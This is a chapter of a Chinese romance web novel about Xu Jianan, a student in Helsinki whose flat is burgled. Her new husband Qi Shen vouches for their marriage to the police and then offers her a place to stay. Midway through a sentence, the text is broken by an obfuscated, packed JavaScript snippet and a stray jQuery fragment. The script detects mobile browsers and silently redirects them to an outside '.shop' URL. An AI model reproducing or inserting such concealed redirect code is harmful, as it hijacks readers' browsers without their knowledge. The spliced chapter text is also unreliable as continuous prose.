文趣网 > 其他小说 > 失重[先婚后爱] > 3. Chapter 3
    “Sheismywife。”

    这句话落下去,客厅安静了片刻。

    Eero眉头动了下,随即看向许迦南,像是在等着她确认这件事。

    许迦南看了眼Eero,视线扫过沙发旁震惊到几乎僵住的罗莎,最后落到祁深身上。

    他就站在落地灯旁,坦然地看着她。那双丹凤眼,瞳仁颜色极深,情绪却是淡的。

    脸色也没有多余的表情,仿佛刚才那句话不过顺口道出。

    许迦南知道,大概是手机关机,让他误以为自己出了事。教养让他跑了这一趟,为了帮她解围,他又不得不自证关系。

    事已至此,没有隐瞒的可能了。

    “是的,他是我丈夫。”

    怕Eero起疑,她又补了几句,“我们是上周登记结婚的,之后我回这里继续读书,他这两天休假,顺道来看我。”

    Eero的目光在她脸上停留片刻,随即缓缓点头,后退了半步,语气里的警惕卸了大半。

    “许小姐,案子的情况我已经了解,警察会根据你提供的证据全力追查,有进展会第一时间通知你。”

    “谢谢。”

    许迦南又将没来得及调出的录音,发给了Eero。

    Eero低头点开,听完那段对话,面色稍稍一变。

    此前他的确怀疑过许迦南,她一个年轻女孩,面对窃贼,不但不跑,还敢拍下正面照,谁知道那张照片有没有修过,是不是伪造的。

    入冬后,赫尔辛基室内盗窃频发,千奇百怪的案子他见太多了,不得不警惕。更何况被盗走的,大部分还是她室友的东西。

    但这份录音里,Damon那句狂妄的“你觉得警察会信你?”已经足够说明一切,这更像是一起针对罗莎的报复行为。

    “这份录音是很重要的证据。”

    Eero掩饰性地咳咳两声,像是给自己刚才的质疑找台阶,“许小姐怎么不早点拿出来?”

    “我也想。”许迦南侧过头,目光平静地看向罗莎,“可惜有人捣乱。”

    听到录音后,罗莎面上的血色一点点褪尽,刚才还咄咄逼人的眼失了焦,唇齿翕动,想说些什么,最后只是拎着那个被撬开的保险箱,回了卧室。

    Eero对现场拍照取证,合上记录本说:“我建议你尽快更换门锁,如果再发现有人闯入,立刻联系我。”

    许迦南没有提起她已经预约了换锁师傅的事,只回应道:“谢谢。”

    “Eero警官。”一直沉默的祁深忽然开口,递上一张名片,“这是我的联系方式,后续如果有需要配合的地方,随时联系我。”

    Eero接过名片,看了一眼,收进口袋,朝祁深微微颔首,随即带上门离开了。

    警察前脚刚走,换锁师傅便到了,许迦南开门将他领进来,交代完情况,回头看了眼站在窗边的祁深,去厨房倒了杯热水给他。

    “不好意思,是我打错了电话,还让你大晚上跑了一趟。”

    祁深接过水喝了口,“这种事经常发生?”

    “不,这是第一次。”

    祁深环视室内,公寓是套三的,八成新,布置简单却颇有格调。室内防盗做得不错,就连她卧室也装了监控,看起来是安全的。

    唯一不确定的因素,是那位室友。

    “为什么不一个人住?”他又问。

    “不太习惯。”

    不习惯?

    祁深目光从客厅收回,定在她身上。一个性格清冷、钟爱运动的人会不喜欢独居?

    还想再说什么,次卧的门打开,罗莎探出半个身子,随即迟疑地走了出来。

    看见祁深还在,她有些犯怵,将许迦南拉到一边,压低了声音。

    “迦南。”罗莎顿了顿,“那个,我男朋友今晚会过来陪我,你不会不同意吧?”

    许迦南的眉头轻轻皱了下。

    她入住时,两人白纸黑字拟好了协议,偶尔可以带异性回来,但不能过夜。

    “我这不是被吓到了嘛…”

    罗莎擦了擦湿润的眼角,勉强扯出笑意,“而且谁知道Damon那个疯子还会不会再来?就我们两个女生在,实在是太危险了。”

    许迦南见她眼睛都哭肿了,不禁动了恻隐之心,但她也不想妥协。

    “这点你不用担心。”她提醒道:“师傅已经在换锁了,只要你别再弄丢钥匙,他进不了这个门的。”

    罗莎抿了抿唇,瞥了眼她身后正在低头喝水的男人,忽然拔高音量,“可你老公不是来了吗?难道你不搬去跟他住?”

    许迦南握着水杯的手指微微收紧。

    “人家特意追到这里来…”罗莎意味深长地笑了下,“难道你们不需要一些私人空间吗?”

    许迦南一口水艰难地从喉头咽下。

    回头看了眼祁深,他也正喝着水,靠在料理台边,姿态慵懒地看着她,神色淡然,又像是在看戏。

    “还是说,你在骗我?”罗莎狐疑地眯起眼,“你这婚不会是假的吧?随便找个人来忽悠我?”

    许迦南看了眼罗莎,心道,这会儿倒是变聪明了。

    但她却有些进退两难。

    若不答应,只会加重罗莎的疑心;可她也没资格替祁深应下,这荒谬的提议,他不一定会答应。

    正打算硬着头皮拒绝,身后传来男人的声音:“许迦南。”

    她回过头去。

    祁深将水杯放下,看了眼腕表:“不早了,收拾东西,跟我走。”

    许迦南怔了下,他这是在…帮她解围?

    迟疑几秒,她顺势点头,“好。”

    先应付罗莎,等会儿再另外订酒店吧。

    应下后,许迦南转头对罗莎道:“今晚情况特殊,我可以答应你,但下不为例。”

    --

    锁很快换好,师傅拧上最后一颗螺丝,把工具收好,收了转账,带上门离开了。

    许迦南回卧室收拾东西,见祁深抄手站在门口,没有进来的意思,招呼他。

    “你要不要先在沙发上坐坐?”

    祁深“嗯”了声,目光却落在卧室门框的锁舌上,“卧室的锁也坏了?”

    “嗯。”她从衣柜找了两件衣服,叠好了塞进背包,“师傅今晚没时间了,说改天再来修。”

    “有钳子吗?”他问。

    许迦南一愣,“有是有的…不过,你要帮我修吗?”

    祁深脱下大衣,往椅背上随手一搭,身上是件黑色高领毛衣,他将袖口挽起一截,摘下腕表。

    “不复杂,几分钟就能搞定。”

    两个半生不熟的人共处一室,难免有些尴尬,给他找点事做也好。

    许迦南没再推辞,她去厨房找出工具箱,翻出他需要的东西,想着有备无患,她干脆将工具箱一并放在他脚边。

    然而,在接下来收拾行李的过程中,许迦南发现抽屉里的护照,不见了。

    Damon洗劫了罗莎的首饰,却放过了她,电脑还在,柜子也没被撬开,只象征性地把她房间弄乱。

    但唯独护照不见了。

    这不是什么值钱的东西,大概是他在搞破坏时,不小心把护照弄到别处去了。

    四处找了后,许迦南又跪在地上,手掌撑在地板,往床底探了探。

    没有。

    护照没了,酒店无法办理入住,许迦南站起来,看了眼正在修锁的祁深,拿着手机去了卫生间。

    她靠在盥洗台边,给陈思颖发了条信息过去,问她能不能借宿一晚,发完后,就开始往收纳包里装洗漱用品。

    等一切收拾妥当,也没收到回复。

    祁深那边已经完工,见她回来,他直起身,把工具搁一旁,微微侧头示意她过来。

    “试试看。”

    许迦南走过去,握住门把手,关上、打开。

    再关上、打开。

    锁舌弹进弹出,没有半点滞涩。

    没想到他这么快就搞定,许迦南想道谢,扭过头,呼吸一滞。

    视线里是一个带着浅浅胡茬的下巴,太近了,近到她甚至能看清胡茬的走向,青灰色的,从唇角延伸到下颌。

    视线缓缓上移,男人正低头凝视着她。

    对视一秒,许迦南神色自若地敛了眸,后退两步,指了指门锁道:“谢了。”

    祁深似乎也并未在意这个小插曲,淡然地垂下眼,摘下手套,“收拾好了?”

    “嗯,差不多了。”

    手机依然没有任何新信息,许迦南只好先将工具箱收起,放回厨房储物柜里,决定下楼后再想办法。

    临走前,她最后回头看了眼卧室,护照没见着,却看见床头柜的缝隙里卡着一根细铁丝,大概是刚刚从工具箱里掉出来的。

    她弯腰去抽。

    同一时间,男人的手也伸过来,握住铁丝的另一端。

    指尖相错,铁丝被她抽走。

    一道极细的血痕从祁深食

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912920|213203||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    指内侧渗出。

    许迦南盯着他被划伤的地方,自责地蹙了蹙眉。

    “不碍事。”

    祁深看都没看那道伤,垂下手,血痕被袖口遮住。

    “走吧。”他说。

    --

    从公寓出去,是一个飘着雪的世界。

    昏黄路灯分列街道两旁,路上人很少,行人裹着大衣匆忙赶路。雪覆盖了桦树光秃的枝丫、台阶、与远处红赭石坡屋顶的棱线。

    下了楼,许迦南就不停查看手机,陈思颖始终没有回复。穿过马路,就是他停车的地方了,她适时收住脚步。

    察觉她的动作,祁深也跟着停下,“怎么了?”

    寒风凛冽,她把自己缩在羽绒服里,只露出半张脸,一张口,呼出的白雾转瞬被风吹散。

    “刚才谢谢你的配合,我打算今晚去朋友那儿挤挤。”

    这话的意思很清楚,她从一开始就没打算去他家。

    虽然祁深刚才并非只是在配合,此刻却也没多做解释,“你朋友住哪儿?我送你过去。”

    “不用了,我自己打车就行。”

    “这个点,不好打车。”

    “真不用了,已经耽误你太多时间了。”

    祁深望着她真诚的眼神,都不知道该不该信。方才下楼时,她就不断翻看手机,跟在他身后的步伐也很犹疑,他怀疑她根本没有定好落脚处。

    “你——”

    刚要开口,大衣口袋里的手机震动起来。他摸出来看了眼屏幕,对许迦南说了句“稍等”,便走到一旁接起。

    不知道他刚刚未出口的话是什么,手机又还没动静,许迦南只能在原地等着。

    街对面不知何时冒出一家三口,女孩大概七八岁,弯腰团了一个雪球朝父亲扔过去。父亲没躲,雪球砸在他胸口,母亲跟在两人身后,笑着举起了手机。

    许迦南怔怔望着,垂在身侧那只手,不受控制地微微发抖。

    冷吗?

    或许是的。

    又或许是对今晚那场入室盗窃,后知后觉的恐惧。

    她用力握了握发抖的手,试图阻止这种令人生厌的脆弱。

    祁深的电话是母亲打来的,封雅澜在电话里问:“见到迦南了吗?”

    “嗯,见到了。”

    他侧过头看向许迦南,她一动不动站在路灯下,黑色羽绒服的帽顶已经落了一层白。

    将视线放远,他看见了她眼中的景象,对街打闹的一家三口。

    “迦南比你小,又一个人在国外待了这么多年,性子是独立惯了。但你是个男人,得主动点知道吗?”

    “既然过去度假,就多待一段时间,好好陪陪她…”

    电话里传来机场广播登机的提示音,祁深握着手机转回视线,“你在机场?”

    电话那头突然静了下来。

    “嗯,要出差一趟。”封雅澜没再继续,“行了,就这样吧。”

    电话被挂断。

    祁深蹙眉看了眼,塞回了口袋。再抬头时,许迦南依然站在原地,黑色羽绒帽顶端已尽数变白。

    他快步走过去,走近了,脚下却一顿。

    路灯从侧面打在她脸上,她眼眶是湿润的,睫毛上还沾着水珠,而垂在身侧的手正在发抖。

    “许迦南。”

    她没动。

    “迦南。”

    第二声稍微重了点,她才像从水底浮上来一样,偏过头来,目光里似乎还带着刚才那个场景的余温。

    许迦南回过神来,还没开口,手机便接连进了几条信息。应该是陈思颖的回复,她二话不说立刻点开来看。

    【迦南对不起,借宿恐怕不太行,我哥来了,我刚从机场把他接回家】

    【可真是累死我了!】

    若是这样,便只能跟祁向洲求助,看能不能让她去警察局凑合一晚。许迦南正琢磨着,一抬头,祁深的目光正从她屏幕上收回。

    他看见了。

    她锁了屏,若无其事地把手机揣回口袋,“你电话接完了?”

    祁深:“嗯。”

    许迦南打算告诉他自己的决定,恰在这时,风又带着雪粒灌过来,眼尾钻进一阵涩意。她用力眨眨眼,就见祁深目色沉沉盯着自己。

    他该不会以为,她在卖惨博同情,想让他收留自己吧?

    抬手擦去眼角的雪水,许迦南正要解释,就听他率先开口。

    “许迦南。”

    “去我那儿。”